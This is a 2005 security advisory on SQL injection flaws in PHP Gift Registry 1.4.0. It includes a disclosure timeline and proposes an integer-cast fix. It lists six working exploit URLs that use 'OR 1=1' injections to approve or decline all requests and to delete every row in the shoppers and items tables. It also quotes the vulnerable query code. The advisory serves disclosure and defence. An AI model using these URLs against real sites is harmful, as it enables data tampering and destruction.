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PHP Gift Registry SQL Injection
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SUMMARY
The <http://phpgiftreg.sourceforge.net/> PHP Gift Registry is "a
web-enabled gift registry intended for use among a circle of family
members or friends".
phpGiftReq doesn't validate user provided parameters. This allows SQL
Injection and modification of data in the database.
DETAILS
Vulnerable Systems:
* phpGiftReq version 1.4.0 and prior
Acknowledge all messages:
http://[SERVER]/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1
Approve all pending requests:
http://[SERVER]/phpgiftreg/index.php?action=approve&shopper=1%20OR%201%3d1
Decline all pending requests:
http://[SERVER]/phpgiftreg/index.php?action=decline&shopper=1%20OR%201%3d1
Inserts current shopper for buying to user 3 without need for approval:
http://[SERVER]/phpgiftreg/index.php?action=request&shopfor=3%2c0%29%2c%2899%2c100
Delete all data from table shoppers:
http://[SERVER]/phpgiftreg/index.php?action=cancel&shopfor=3%20OR%201%3d1
Delete all data from table items:
http://[SERVER]/phpgiftreg/item.php?action=delete&itemid=3%20OR%201%3d1
Solution:
All parameters should be converted to integers before creating the query.
Example:
Substitute
if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
$_GET["messageid"];
~ mysql_query($query) or die("Could not query: " . mysql_error());
}
With
if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
((int) $_GET["messageid"]);
~ mysql_query($query) or die("Could not query: " . mysql_error());
}
Disclosure Timeline:
31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
ADDITIONAL INFORMATION
The information has been provided by <mailto:madelman@iname.com>
Madelman.
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